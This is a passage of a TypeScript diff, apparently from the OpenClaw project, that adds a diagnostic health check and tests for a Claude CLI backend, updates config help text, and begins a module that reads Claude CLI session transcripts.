function simpleHash36(input: string): string {
|
||||
let hash = 0;
|
||||
for (let index = 0; index < input.length; index += 1) {
|
||||
hash = (hash * 31 + input.charCodeAt(index)) >>> 0;
|
||||
}
|
||||
return hash.toString(36);
|
||||
}
|
||||
|
||||
function sanitizeClaudeCliProjectKey(workspaceDir: string): string {
|
||||
const sanitized = workspaceDir.replace(/[^a-zA-Z0-9]/g, "-");
|
||||
if (sanitized.length <= MAX_SANITIZED_PROJECT_LENGTH) {
|
||||
return sanitized;
|
||||
}
|
||||
return `${sanitized.slice(0, MAX_SANITIZED_PROJECT_LENGTH)}-${simpleHash36(workspaceDir)}`;
|
||||
}
|
||||
|
||||
function canonicalizeWorkspaceDir(workspaceDir: string): string {
|
||||
const resolved = path.resolve(workspaceDir).normalize("NFC");
|
||||
try {
|
||||
return fs.realpathSync.native(resolved).normalize("NFC");
|
||||
} catch {
|
||||
return resolved;
|
||||
}
|
||||
}
|
||||
|
||||
export function resolveClaudeCliProjectDirForWorkspace(params: {
|
||||
workspaceDir: string;
|
||||
homeDir?: string;
|
||||
}): string {
|
||||
const homeDir = params.homeDir?.trim() || process.env.HOME || os.homedir();
|
||||
const canonicalWorkspaceDir = canonicalizeWorkspaceDir(params.workspaceDir);
|
||||
return path.join(
|
||||
homeDir,
|
||||
CLAUDE_PROJECTS_DIRNAME,
|
||||
sanitizeClaudeCliProjectKey(canonicalWorkspaceDir),
|
||||
);
|
||||
}
|
||||
|
||||
function probeDirectoryHealth(dirPath: string): ClaudeCliDirHealth {
|
||||
try {
|
||||
const stat = fs.statSync(dirPath);
|
||||
if (!stat.isDirectory()) {
|
||||
return "not_directory";
|
||||
}
|
||||
} catch {
|
||||
return "missing";
|
||||
}
|
||||
try {
|
||||
fs.accessSync(dirPath, fs.constants.R_OK);
|
||||
} catch {
|
||||
return "unreadable";
|
||||
}
|
||||
try {
|
||||
fs.accessSync(dirPath, fs.constants.W_OK);
|
||||
} catch {
|
||||
return "readonly";
|
||||
}
|
||||
return "present";
|
||||
}
|
||||
|
||||
function formatCredentialLabel(credential: ClaudeCliReadableCredential): string {
|
||||
if (credential.type === "oauth" || credential.type === "token") {
|
||||
return credential.type;
|
||||
}
|
||||
return "unknown";
|
||||
}
|
||||
|
||||
function formatWorkspaceHealthLine(workspaceDir: string, health: ClaudeCliDirHealth): string {
|
||||
const display = shortenHomePath(workspaceDir);
|
||||
if (health === "present") {
|
||||
return `- Workspace: ${display} (writable).`;
|
||||
}
|
||||
if (health === "missing") {
|
||||
return `- Workspace: ${display} (missing; OpenClaw will create it on first run).`;
|
||||
}
|
||||
if (health === "not_directory") {
|
||||
return `- Workspace: ${display} exists but is not a directory.`;
|
||||
}
|
||||
if (health === "unreadable") {
|
||||
return `- Workspace: ${display} is not readable by this user.`;
|
||||
}
|
||||
return `- Workspace: ${display} is not writable by this user.`;
|
||||
}
|
||||
|
||||
function formatProjectDirHealthLine(projectDir: string, health: ClaudeCliDirHealth): string {
|
||||
const display = shortenHomePath(projectDir);
|
||||
if (health === "present") {
|
||||
return `- Claude project dir: ${display} (present).`;
|
||||
}
|
||||
if (health === "missing") {
|
||||
return `- Claude project dir: ${display} (not created yet; it appears after the first Claude CLI turn in this workspace).`;
|
||||
}
|
||||
if (health === "not_directory") {
|
||||
return `- Claude project dir: ${display} exists but is not a directory.`;
|
||||
}
|
||||
if (health === "unreadable") {
|
||||
return `- Claude project dir: ${display} is not readable by this user.`;
|
||||
}
|
||||
return `- Claude project dir: ${display} is not writable by this user.`;
|
||||
}
|
||||
|
||||
export function noteClaudeCliHealth(
|
||||
cfg: OpenClawConfig,
|
||||
deps?: {
|
||||
noteFn?: typeof note;
|
||||
env?: NodeJS.ProcessEnv;
|
||||
homeDir?: string;
|
||||
store?: AuthProfileStore;
|
||||
readClaudeCliCredentials?: () => ClaudeCliReadableCredential | null;
|
||||
resolveCommandPath?: (command: string, env?: NodeJS.ProcessEnv) => string | undefined;
|
||||
workspaceDir?: string;
|
||||
},
|
||||
) {
|
||||
const store = deps?.store ?? ensureAuthProfileStore(undefined, { allowKeychainPrompt: false });
|
||||
const readClaudeCliCredentials =
|
||||
deps?.readClaudeCliCredentials ??
|
||||
(() => readClaudeCliCredentialsCached({ allowKeychainPrompt: false }));
|
||||
const credential = readClaudeCliCredentials();
|
||||
|
||||
if (!hasClaudeCliConfigSignals(cfg) && !hasClaudeCliStoreSignals(store) && !credential) {
|
||||
return;
|
||||
}
|
||||
|
||||
const env = deps?.env ?? process.env;
|
||||
const command = resolveClaudeCliCommand(cfg);
|
||||
const resolveCommandPath =
|
||||
deps?.resolveCommandPath ??
|
||||
((rawCommand: string, nextEnv?: NodeJS.ProcessEnv) =>
|
||||
resolveExecutablePath(rawCommand, { env: nextEnv }));
|
||||
const commandPath = resolveCommandPath(command, env);
|
||||
const workspaceDir =
|
||||
deps?.workspaceDir ?? resolveAgentWorkspaceDir(cfg, resolveDefaultAgentId(cfg));
|
||||
const projectDir = resolveClaudeCliProjectDirForWorkspace({
|
||||
workspaceDir,
|
||||
homeDir: deps?.homeDir,
|
||||
});
|
||||
const workspaceHealth = probeDirectoryHealth(workspaceDir);
|
||||
const projectDirHealth = probeDirectoryHealth(projectDir);
|
||||
const authStorePath = resolveAuthStorePathForDisplay();
|
||||
const storedProfile = store.profiles[CLAUDE_CLI_PROFILE_ID];
|
||||
|
||||
const lines: string[] = [];
|
||||
const fixHints: string[] = [];
|
||||
|
||||
if (commandPath) {
|
||||
lines.push(`- Binary: ${shortenHomePath(commandPath)}.`);
|
||||
} else {
|
||||
lines.push(`- Binary: command "${command}" was not found on PATH.`);
|
||||
fixHints.push(
|
||||
"- Fix: install Claude CLI or set agents.defaults.cliBackends.claude-cli.command to the real binary path.",
|
||||
);
|
||||
}
|
||||
|
||||
if (credential) {
|
||||
lines.push(`- Headless Claude auth: OK (${formatCredentialLabel(credential)}).`);
|
||||
} else {
|
||||
lines.push("- Headless Claude auth: unavailable without interactive prompting.");
|
||||
fixHints.push(
|
||||
`- Fix: run ${formatCliCommand("claude auth login")}, then ${formatCliCommand(
|
||||
"openclaw models auth login --provider anthropic --method cli --set-default",
|
||||
)}.`,
|
||||
);
|
||||
}
|
||||
|
||||
if (!storedProfile) {
|
||||
lines.push(`- OpenClaw auth profile: missing (${CLAUDE_CLI_PROFILE_ID}) in ${authStorePath}.`);
|
||||
fixHints.push(
|
||||
`- Fix: run ${formatCliCommand(
|
||||
"openclaw models auth login --provider anthropic --method cli --set-default",
|
||||
)}.`,
|
||||
);
|
||||
} else if (storedProfile.provider !== CLAUDE_CLI_PROVIDER) {
|
||||
lines.push(
|
||||
`- OpenClaw auth profile: ${CLAUDE_CLI_PROFILE_ID} is wired to provider "${storedProfile.provider}" instead of "${CLAUDE_CLI_PROVIDER}".`,
|
||||
);
|
||||
fixHints.push(
|
||||
`- Fix: rerun ${formatCliCommand(
|
||||
"openclaw models auth login --provider anthropic --method cli --set-default",
|
||||
)} to rewrite the profile cleanly.`,
|
||||
);
|
||||
} else {
|
||||
lines.push(
|
||||
`- OpenClaw auth profile: ${CLAUDE_CLI_PROFILE_ID} (provider ${CLAUDE_CLI_PROVIDER}).`,
|
||||
);
|
||||
}
|
||||
|
||||
lines.push(formatWorkspaceHealthLine(workspaceDir, workspaceHealth));
|
||||
if (
|
||||
workspaceHealth === "readonly" ||
|
||||
workspaceHealth === "unreadable" ||
|
||||
workspaceHealth === "not_directory"
|
||||
) {
|
||||
fixHints.push("- Fix: make the workspace a readable, writable directory for the gateway user.");
|
||||
}
|
||||
|
||||
lines.push(formatProjectDirHealthLine(projectDir, projectDirHealth));
|
||||
if (projectDirHealth === "unreadable" || projectDirHealth === "not_directory") {
|
||||
fixHints.push(
|
||||
"- Fix: make the Claude project dir readable, or remove the broken path and let Claude recreate it.",
|
||||
);
|
||||
}
|
||||
|
||||
if (fixHints.length > 0) {
|
||||
lines.push(...fixHints);
|
||||
}
|
||||
|
||||
(deps?.noteFn ?? note)(lines.join("\n"), "Claude CLI");
|
||||
}
|
||||
@@ -12,6 +12,10 @@ vi.mock("./doctor-browser.js", () => ({
|
||||
noteChromeMcpBrowserReadiness: vi.fn().mockResolvedValue(undefined),
|
||||
}));
|
||||
|
||||
vi.mock("./doctor-claude-cli.js", () => ({
|
||||
noteClaudeCliHealth: vi.fn(),
|
||||
}));
|
||||
|
||||
vi.mock("./doctor-gateway-daemon-flow.js", () => ({
|
||||
maybeRepairGatewayDaemon: vi.fn().mockResolvedValue(undefined),
|
||||
}));
|
||||
|
||||
@@ -232,6 +232,250 @@ describe("modelsAuthLoginCommand", () => {
|
||||
expect(runtime.log).toHaveBeenCalledWith("Default model set to openai-codex/gpt-5.4");
|
||||
});
|
||||
|
||||
it("supports provider-owned Claude CLI migration without writing auth profiles", async () => {
|
||||
const runtime = createRuntime();
|
||||
const runClaudeCliMigration = vi.fn().mockResolvedValue({
|
||||
profiles: [],
|
||||
defaultModel: "claude-cli/claude-sonnet-4-6",
|
||||
configPatch: {
|
||||
agents: {
|
||||
defaults: {
|
||||
models: {
|
||||
"claude-cli/claude-sonnet-4-6": {},
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
});
|
||||
mocks.resolvePluginProviders.mockReturnValue([
|
||||
{
|
||||
id: "anthropic",
|
||||
label: "Anthropic",
|
||||
auth: [
|
||||
{
|
||||
id: "cli",
|
||||
label: "Claude CLI",
|
||||
kind: "custom",
|
||||
run: runClaudeCliMigration,
|
||||
},
|
||||
],
|
||||
},
|
||||
]);
|
||||
|
||||
await modelsAuthLoginCommand(
|
||||
{ provider: "anthropic", method: "cli", setDefault: true },
|
||||
runtime,
|
||||
);
|
||||
|
||||
expect(runClaudeCliMigration).toHaveBeenCalledOnce();
|
||||
expect(mocks.upsertAuthProfile).not.toHaveBeenCalled();
|
||||
expect(lastUpdatedConfig?.agents?.defaults?.model).toEqual({
|
||||
primary: "claude-cli/claude-sonnet-4-6",
|
||||
});
|
||||
expect(lastUpdatedConfig?.agents?.defaults?.models).toEqual({
|
||||
"claude-cli/claude-sonnet-4-6": {},
|
||||
});
|
||||
expect(runtime.log).toHaveBeenCalledWith("Default model set to claude-cli/claude-sonnet-4-6");
|
||||
});
|
||||
|
||||
it("loads the owning plugin for an explicit provider even in a clean config", async () => {
|
||||
const runtime = createRuntime();
|
||||
const runClaudeCliMigration = vi.fn().mockResolvedValue({
|
||||
profiles: [],
|
||||
defaultModel: "claude-cli/claude-sonnet-4-6",
|
||||
configPatch: {
|
||||
agents: {
|
||||
defaults: {
|
||||
models: {
|
||||
"claude-cli/claude-sonnet-4-6": {},
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
});
|
||||
mocks.resolvePluginProviders.mockImplementation(
|
||||
(params: { activate?: boolean; providerRefs?: string[] } | undefined) =>
|
||||
params?.activate === true && params?.providerRefs?.[0] === "anthropic"
|
||||
? [
|
||||
{
|
||||
id: "anthropic",
|
||||
label: "Anthropic",
|
||||
auth: [
|
||||
{
|
||||
id: "cli",
|
||||
label: "Claude CLI",
|
||||
kind: "custom",
|
||||
run: runClaudeCliMigration,
|
||||
},
|
||||
],
|
||||
},
|
||||
]
|
||||
: [],
|
||||
);
|
||||
|
||||
await modelsAuthLoginCommand(
|
||||
{ provider: "anthropic", method: "cli", setDefault: true },
|
||||
runtime,
|
||||
);
|
||||
|
||||
expect(mocks.resolvePluginProviders).toHaveBeenCalledWith(
|
||||
expect.objectContaining({
|
||||
config: {},
|
||||
workspaceDir: "/tmp/openclaw/workspace",
|
||||
bundledProviderAllowlistCompat: true,
|
||||
bundledProviderVitestCompat: true,
|
||||
providerRefs: ["anthropic"],
|
||||
activate: true,
|
||||
}),
|
||||
);
|
||||
expect(runClaudeCliMigration).toHaveBeenCalledOnce();
|
||||
});
|
||||
|
||||
it("runs the requested anthropic cli auth method with the full login context", async () => {
|
||||
const runtime = createRuntime();
|
||||
currentConfig = {
|
||||
agents: {
|
||||
defaults: {
|
||||
model: {
|
||||
primary: "anthropic/claude-sonnet-4-6",
|
||||
fallbacks: ["anthropic/claude-opus-4-6", "openai/gpt-5.2"],
|
||||
},
|
||||
models: {
|
||||
"anthropic/claude-sonnet-4-6": { alias: "Sonnet" },
|
||||
"anthropic/claude-opus-4-6": { alias: "Opus" },
|
||||
"openai/gpt-5.2": {},
|
||||
},
|
||||
},
|
||||
},
|
||||
};
|
||||
const note = vi.fn(async () => {});
|
||||
mocks.createClackPrompter.mockReturnValue({
|
||||
note,
|
||||
select: vi.fn(),
|
||||
});
|
||||
const runApiKeyAuth = vi.fn();
|
||||
const runClaudeCliMigration = vi.fn().mockImplementation(async (ctx) => {
|
||||
expect(ctx.config).toEqual(currentConfig);
|
||||
expect(ctx.agentDir).toBe("/tmp/openclaw/agents/main");
|
||||
expect(ctx.workspaceDir).toBe("/tmp/openclaw/workspace");
|
||||
expect(ctx.prompter).toMatchObject({ note, select: expect.any(Function) });
|
||||
expect(ctx.runtime).toBe(runtime);
|
||||
expect(ctx.env).toBe(process.env);
|
||||
expect(ctx.allowSecretRefPrompt).toBe(false);
|
||||
expect(ctx.isRemote).toBe(false);
|
||||
expect(ctx.openUrl).toEqual(expect.any(Function));
|
||||
expect(ctx.oauth).toMatchObject({
|
||||
createVpsAwareHandlers: expect.any(Function),
|
||||
});
|
||||
return {
|
||||
profiles: [],
|
||||
defaultModel: "claude-cli/claude-sonnet-4-6",
|
||||
configPatch: {
|
||||
agents: {
|
||||
defaults: {
|
||||
model: {
|
||||
primary: "claude-cli/claude-sonnet-4-6",
|
||||
fallbacks: ["claude-cli/claude-opus-4-6", "openai/gpt-5.2"],
|
||||
},
|
||||
models: {
|
||||
"claude-cli/claude-sonnet-4-6": { alias: "Sonnet" },
|
||||
"claude-cli/claude-opus-4-6": { alias: "Opus" },
|
||||
"openai/gpt-5.2": {},
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
notes: [
|
||||
"Claude CLI auth detected; switched Anthropic model selection to the local Claude CLI backend.",
|
||||
"Existing Anthropic auth profiles are kept for rollback.",
|
||||
],
|
||||
};
|
||||
});
|
||||
const fakeStore = {
|
||||
profiles: {
|
||||
"anthropic:claude-cli": {
|
||||
type: "oauth",
|
||||
provider: "anthropic",
|
||||
},
|
||||
"anthropic:legacy": {
|
||||
type: "token",
|
||||
provider: "anthropic",
|
||||
},
|
||||
},
|
||||
usageStats: {
|
||||
"anthropic:claude-cli": {
|
||||
disabledUntil: Date.now() + 3_600_000,
|
||||
disabledReason: "auth_permanent",
|
||||
errorCount: 2,
|
||||
},
|
||||
},
|
||||
};
|
||||
mocks.loadAuthProfileStoreForRuntime.mockReturnValue(fakeStore);
|
||||
mocks.listProfilesForProvider.mockReturnValue(["anthropic:claude-cli", "anthropic:legacy"]);
|
||||
mocks.resolvePluginProviders.mockReturnValue([
|
||||
{
|
||||
id: "anthropic",
|
||||
label: "Anthropic",
|
||||
auth: [
|
||||
{
|
||||
id: "cli",
|
||||
label: "Claude CLI",
|
||||
kind: "custom",
|
||||
run: runClaudeCliMigration,
|
||||
},
|
||||
{
|
||||
id: "api-key",
|
||||
label: "Anthropic API key",
|
||||
kind: "api_key",
|
||||
run: runApiKeyAuth,
|
||||
},
|
||||
],
|
||||
},
|
||||
]);
|
||||
|
||||
await modelsAuthLoginCommand(
|
||||
{ provider: "anthropic", method: "cli", setDefault: true },
|
||||
runtime,
|
||||
);
|
||||
|
||||
expect(runClaudeCliMigration).toHaveBeenCalledOnce();
|
||||
expect(runApiKeyAuth).not.toHaveBeenCalled();
|
||||
expect(mocks.clearAuthProfileCooldown).toHaveBeenCalledTimes(2);
|
||||
expect(mocks.clearAuthProfileCooldown).toHaveBeenNthCalledWith(1, {
|
||||
store: fakeStore,
|
||||
profileId: "anthropic:claude-cli",
|
||||
agentDir: "/tmp/openclaw/agents/main",
|
||||
});
|
||||
expect(mocks.clearAuthProfileCooldown).toHaveBeenNthCalledWith(2, {
|
||||
store: fakeStore,
|
||||
profileId: "anthropic:legacy",
|
||||
agentDir: "/tmp/openclaw/agents/main",
|
||||
});
|
||||
expect(
|
||||
mocks.clearAuthProfileCooldown.mock.invocationCallOrder.every(
|
||||
(order) => order < runClaudeCliMigration.mock.invocationCallOrder[0],
|
||||
),
|
||||
).toBe(true);
|
||||
expect(mocks.upsertAuthProfile).not.toHaveBeenCalled();
|
||||
expect(lastUpdatedConfig?.agents?.defaults?.model).toEqual({
|
||||
primary: "claude-cli/claude-sonnet-4-6",
|
||||
fallbacks: ["claude-cli/claude-opus-4-6", "openai/gpt-5.2"],
|
||||
});
|
||||
expect(lastUpdatedConfig?.agents?.defaults?.models).toEqual({
|
||||
"claude-cli/claude-sonnet-4-6": { alias: "Sonnet" },
|
||||
"claude-cli/claude-opus-4-6": { alias: "Opus" },
|
||||
"openai/gpt-5.2": {},
|
||||
});
|
||||
expect(note).toHaveBeenCalledWith(
|
||||
[
|
||||
"Claude CLI auth detected; switched Anthropic model selection to the local Claude CLI backend.",
|
||||
"Existing Anthropic auth profiles are kept for rollback.",
|
||||
].join("\n"),
|
||||
"Provider notes",
|
||||
);
|
||||
expect(runtime.log).toHaveBeenCalledWith("Default model set to claude-cli/claude-sonnet-4-6");
|
||||
});
|
||||
|
||||
it("clears stale auth lockouts before attempting openai-codex login", async () => {
|
||||
const runtime = createRuntime();
|
||||
const fakeStore = {
|
||||
|
||||
@@ -394,9 +394,9 @@ describe("modelsStatusCommand auth overview", () => {
|
||||
mocks.loadConfig.mockReturnValue({
|
||||
agents: {
|
||||
defaults: {
|
||||
model: { primary: "codex-cli/gpt-5.4", fallbacks: [] },
|
||||
models: { "codex-cli/gpt-5.4": {} },
|
||||
cliBackends: { "codex-cli": {} },
|
||||
model: { primary: "claude-cli/claude-sonnet-4-6", fallbacks: [] },
|
||||
models: { "claude-cli/claude-sonnet-4-6": {} },
|
||||
cliBackends: { "claude-cli": {} },
|
||||
},
|
||||
},
|
||||
models: { providers: {} },
|
||||
@@ -407,7 +407,7 @@ describe("modelsStatusCommand auth overview", () => {
|
||||
try {
|
||||
await modelsStatusCommand({ json: true }, localRuntime as never);
|
||||
const payload = JSON.parse(String((localRuntime.log as Mock).mock.calls[0]?.[0]));
|
||||
expect(payload.defaultModel).toBe("codex-cli/gpt-5.4");
|
||||
expect(payload.defaultModel).toBe("claude-cli/claude-sonnet-4-6");
|
||||
expect(payload.auth.missingProvidersInUse).toEqual([]);
|
||||
} finally {
|
||||
if (originalLoadConfig) {
|
||||
|
||||
@@ -253,7 +253,7 @@ describe("legacy config detection", () => {
|
||||
expectSnapshotInvalidRootKey(ctx, "whatsapp");
|
||||
});
|
||||
});
|
||||
it("does not auto-migrate removed cli auth profile modes on load", async () => {
|
||||
it("does not auto-migrate claude-cli auth profile mode on load", async () => {
|
||||
await withTempHome(async (home) => {
|
||||
const configPath = path.join(home, ".openclaw", "openclaw.json");
|
||||
await fs.mkdir(path.dirname(configPath), { recursive: true });
|
||||
@@ -263,7 +263,7 @@ describe("legacy config detection", () => {
|
||||
{
|
||||
auth: {
|
||||
profiles: {
|
||||
"anthropic:removed-cli": { provider: "anthropic", mode: "token" },
|
||||
"anthropic:claude-cli": { provider: "anthropic", mode: "token" },
|
||||
},
|
||||
},
|
||||
},
|
||||
@@ -274,13 +274,13 @@ describe("legacy config detection", () => {
|
||||
);
|
||||
|
||||
const cfg = loadConfig();
|
||||
expect(cfg.auth?.profiles?.["anthropic:removed-cli"]?.mode).toBe("token");
|
||||
expect(cfg.auth?.profiles?.["anthropic:claude-cli"]?.mode).toBe("token");
|
||||
|
||||
const raw = await fs.readFile(configPath, "utf-8");
|
||||
const parsed = JSON.parse(raw) as {
|
||||
auth?: { profiles?: Record<string, { mode?: string }> };
|
||||
};
|
||||
expect(parsed.auth?.profiles?.["anthropic:removed-cli"]?.mode).toBe("token");
|
||||
expect(parsed.auth?.profiles?.["anthropic:claude-cli"]?.mode).toBe("token");
|
||||
});
|
||||
});
|
||||
it("still flags memorySearch in snapshot under the shorter support window", async () => {
|
||||
|
||||
@@ -3528,7 +3528,7 @@ export const GENERATED_BASE_CONFIG_SCHEMA: BaseConfigSchemaResponse = {
|
||||
additionalProperties: false,
|
||||
},
|
||||
title: "CLI Backends",
|
||||
description: "Optional CLI backends for text-only fallback.",
|
||||
description: "Optional CLI backends for text-only fallback (claude-cli, etc.).",
|
||||
},
|
||||
memorySearch: {
|
||||
type: "object",
|
||||
@@ -25037,7 +25037,7 @@ export const GENERATED_BASE_CONFIG_SCHEMA: BaseConfigSchemaResponse = {
|
||||
},
|
||||
"agents.defaults.cliBackends": {
|
||||
label: "CLI Backends",
|
||||
help: "Optional CLI backends for text-only fallback.",
|
||||
help: "Optional CLI backends for text-only fallback (claude-cli, etc.).",
|
||||
tags: ["advanced"],
|
||||
},
|
||||
"agents.defaults.compaction": {
|
||||
|
||||
@@ -1106,7 +1106,7 @@ export const FIELD_HELP: Record<string, string> = {
|
||||
"Maximum number of PDF pages to process for the PDF tool (default: 20).",
|
||||
"agents.defaults.imageMaxDimensionPx":
|
||||
"Max image side length in pixels when sanitizing transcript/tool-result image payloads (default: 1200).",
|
||||
"agents.defaults.cliBackends": "Optional CLI backends for text-only fallback.",
|
||||
"agents.defaults.cliBackends": "Optional CLI backends for text-only fallback (claude-cli, etc.).",
|
||||
"agents.defaults.compaction":
|
||||
"Compaction tuning for when context nears token limits, including history share, reserve headroom, and pre-compaction memory flush behavior. Use this when long-running sessions need stable continuity under tight context windows.",
|
||||
"agents.defaults.compaction.mode":
|
||||
|
||||
@@ -185,7 +185,7 @@ export type AgentDefaultsConfig = {
|
||||
envelopeElapsed?: "on" | "off";
|
||||
/** Optional context window cap (used for runtime estimates + status %). */
|
||||
contextTokens?: number;
|
||||
/** Optional CLI backends for text-only fallback. */
|
||||
/** Optional CLI backends for text-only fallback (claude-cli, etc.). */
|
||||
cliBackends?: Record<string, CliBackendConfig>;
|
||||
/** Opt-in: prune old tool results from the LLM context to reduce token usage. */
|
||||
contextPruning?: AgentContextPruningConfig;
|
||||
|
||||
@@ -47,8 +47,8 @@ describe("runCronIsolatedAgentTurn — skill filter", () => {
|
||||
function mockCliFallbackInvocation() {
|
||||
runWithModelFallbackMock.mockImplementationOnce(
|
||||
async (params: { run: (provider: string, model: string) => Promise<unknown> }) => {
|
||||
const result = await params.run("codex-cli", "gpt-5.4");
|
||||
return { result, provider: "codex-cli", model: "gpt-5.4", attempts: [] };
|
||||
const result = await params.run("claude-cli", "claude-opus-4-6");
|
||||
return { result, provider: "claude-cli", model: "claude-opus-4-6", attempts: [] };
|
||||
},
|
||||
);
|
||||
}
|
||||
@@ -276,7 +276,7 @@ describe("runCronIsolatedAgentTurn — skill filter", () => {
|
||||
systemSent: false,
|
||||
skillsSnapshot: undefined,
|
||||
// A stored CLI session ID that should NOT be reused on fresh runs.
|
||||
cliSessionIds: { "codex-cli": "prev-cli-session-abc" },
|
||||
cliSessionIds: { "claude-cli": "prev-cli-session-abc" },
|
||||
},
|
||||
systemSent: false,
|
||||
isNewSession: true,
|
||||
@@ -307,7 +307,7 @@ describe("runCronIsolatedAgentTurn — skill filter", () => {
|
||||
updatedAt: 0,
|
||||
systemSent: false,
|
||||
skillsSnapshot: undefined,
|
||||
cliSessionIds: { "codex-cli": "existing-cli-session-def" },
|
||||
cliSessionIds: { "claude-cli": "existing-cli-session-def" },
|
||||
},
|
||||
systemSent: false,
|
||||
isNewSession: false,
|
||||
|
||||
@@ -9,7 +9,6 @@ import {
|
||||
} from "../agents/model-selection.js";
|
||||
import { runChannelPluginStartupMaintenance } from "../channels/plugins/lifecycle-startup.js";
|
||||
import { formatCliCommand } from "../cli/command-format.js";
|
||||
import { maybeRepairRemovedAnthropicClaudeCliState } from "../commands/doctor-auth-anthropic-claude-cli.js";
|
||||
import {
|
||||
maybeRemoveDeprecatedCliAuthProfiles,
|
||||
maybeRepairLegacyOAuthProfileIds,
|
||||
@@ -18,6 +17,7 @@ import {
|
||||
import { noteBootstrapFileSize } from "../commands/doctor-bootstrap-size.js";
|
||||
import { noteChromeMcpBrowserReadiness } from "../commands/doctor-browser.js";
|
||||
import { maybeRepairBundledPluginRuntimeDeps } from "../commands/doctor-bundled-plugin-runtime-deps.js";
|
||||
import { noteClaudeCliHealth } from "../commands/doctor-claude-cli.js";
|
||||
import { doctorShellCompletion } from "../commands/doctor-completion.js";
|
||||
import { maybeRepairLegacyCronStore } from "../commands/doctor-cron.js";
|
||||
import { maybeRepairGatewayDaemon } from "../commands/doctor-gateway-daemon-flow.js";
|
||||
@@ -142,7 +142,6 @@ async function runGatewayConfigHealth(ctx: DoctorHealthFlowContext): Promise<voi
|
||||
}
|
||||
|
||||
async function runAuthProfileHealth(ctx: DoctorHealthFlowContext): Promise<void> {
|
||||
ctx.cfg = await maybeRepairRemovedAnthropicClaudeCliState(ctx.cfg, ctx.prompter);
|
||||
ctx.cfg = await maybeRepairLegacyOAuthProfileIds(ctx.cfg, ctx.prompter);
|
||||
ctx.cfg = await maybeRemoveDeprecatedCliAuthProfiles(ctx.cfg, ctx.prompter);
|
||||
await noteAuthProfileHealth({
|
||||
@@ -215,6 +214,10 @@ async function runGatewayAuthHealth(ctx: DoctorHealthFlowContext): Promise<void>
|
||||
note("Gateway token configured.", "Gateway auth");
|
||||
}
|
||||
|
||||
async function runClaudeCliHealth(ctx: DoctorHealthFlowContext): Promise<void> {
|
||||
noteClaudeCliHealth(ctx.cfg);
|
||||
}
|
||||
|
||||
async function runLegacyStateHealth(ctx: DoctorHealthFlowContext): Promise<void> {
|
||||
const legacyState = await detectLegacyStateMigrations({ cfg: ctx.cfg });
|
||||
if (legacyState.preview.length === 0) {
|
||||
@@ -499,6 +502,11 @@ export function resolveDoctorHealthContributions(): DoctorHealthContribution[] {
|
||||
label: "Auth profiles",
|
||||
run: runAuthProfileHealth,
|
||||
}),
|
||||
createDoctorHealthContribution({
|
||||
id: "doctor:claude-cli",
|
||||
label: "Claude CLI",
|
||||
run: runClaudeCliHealth,
|
||||
}),
|
||||
createDoctorHealthContribution({
|
||||
id: "doctor:gateway-auth",
|
||||
label: "Gateway auth",
|
||||
|
||||
334
src/gateway/cli-session-history.claude.ts
Normal file
334
src/gateway/cli-session-history.claude.ts
Normal file
@@ -0,0 +1,334 @@
|
||||
import fs from "node:fs";
|
||||
import os from "node:os";
|
||||
import path from "node:path";
|
||||
import {
|
||||
isToolCallBlock,
|
||||
isToolResultBlock,
|
||||
resolveToolUseId,
|
||||
type ToolContentBlock,
|
||||
} from "../chat/tool-content.js";
|
||||
import type { SessionEntry } from "../config/sessions.js";
|
||||
import { attachOpenClawTranscriptMeta } from "./session-utils.fs.js";
|
||||
|
||||
export const CLAUDE_CLI_PROVIDER = "claude-cli";
|
||||
const CLAUDE_PROJECTS_RELATIVE_DIR = path.join(".claude", "projects");
|
||||
|
||||
type ClaudeCliProjectEntry = {
|
||||
type?: unknown;
|
||||
timestamp?: unknown;
|
||||
uuid?: unknown;
|
||||
isSidechain?: unknown;
|
||||
message?: {
|
||||
role?: unknown;
|
||||
content?: unknown;
|
||||
model?: unknown;
|
||||
stop_reason?: unknown;
|
||||
usage?: {
|
||||
input_tokens?: unknown;
|
||||
output_tokens?: unknown;
|
||||
cache_read_input_tokens?: unknown;
|
||||
cache_creation_input_tokens?: unknown;
|
||||
};
|
||||
};
|
||||
};
|
||||
|
||||
type ClaudeCliMessage = NonNullable<ClaudeCliProjectEntry["message"]>;
|
||||
type ClaudeCliUsage = ClaudeCliMessage["usage"];
|
||||
type TranscriptLikeMessage = Record<string, unknown>;
|
||||
type ToolNameRegistry = Map<string, string>;
|
||||
|
||||
function resolveHistoryHomeDir(homeDir?: string): string {
|
||||
return homeDir?.trim() || process.env.HOME || os.homedir();
|
||||
}
|
||||
|
||||
function resolveClaudeProjectsDir(homeDir?: string): string {
|
||||
return path.join(resolveHistoryHomeDir(homeDir), CLAUDE_PROJECTS_RELATIVE_DIR);
|
||||
}
|
||||
|
||||
export function resolveClaudeCliBindingSessionId(
|
||||
entry: SessionEntry | undefined,
|
||||
): string | undefined {
|
||||
const bindingSessionId = entry?.cliSessionBindings?.[CLAUDE_CLI_PROVIDER]?.sessionId?.trim();
|
||||
if (bindingSessionId) {
|
||||
return bindingSessionId;
|
||||
}
|
||||
const legacyMapSessionId = entry?.cliSessionIds?.[CLAUDE_CLI_PROVIDER]?.trim();
|
||||
if (legacyMapSessionId) {
|
||||
return legacyMapSessionId;
|
||||
}
|
||||
const legacyClaudeSessionId = entry?.claudeCliSessionId?.trim();
|
||||
return legacyClaudeSessionId || undefined;
|
||||
}
|
||||
|
||||
function resolveFiniteNumber(value: unknown): number | undefined {
|
||||
return typeof value === "number" && Number.isFinite(value) ? value : undefined;
|
||||
}
|
||||
|
||||
function resolveTimestampMs(value: unknown): number | undefined {
|
||||
if (typeof value !== "string") {
|
||||
return undefined;
|
||||
}
|
||||
const parsed = Date.parse(value);
|
||||
return Number.isFinite(parsed) ? parsed : undefined;
|
||||
}
|
||||
|
||||
function resolveClaudeCliUsage(raw: ClaudeCliUsage) {
|
||||
if (!raw || typeof raw !== "object") {
|
||||
return undefined;
|
||||
}
|
||||
const input = resolveFiniteNumber(raw.input_tokens);
|
||||
const output = resolveFiniteNumber(raw.output_tokens);
|
||||
const cacheRead = resolveFiniteNumber(raw.cache_read_input_tokens);
|
||||
const cacheWrite = resolveFiniteNumber(raw.cache_creation_input_tokens);
|
||||
if (
|
||||
input === undefined &&
|
||||
output === undefined &&
|
||||
cacheRead === undefined &&
|
||||
cacheWrite === undefined
|
||||
) {
|
||||
return undefined;
|
||||
}
|
||||
return {
|
||||
...(input !== undefined ? { input } : {}),
|
||||
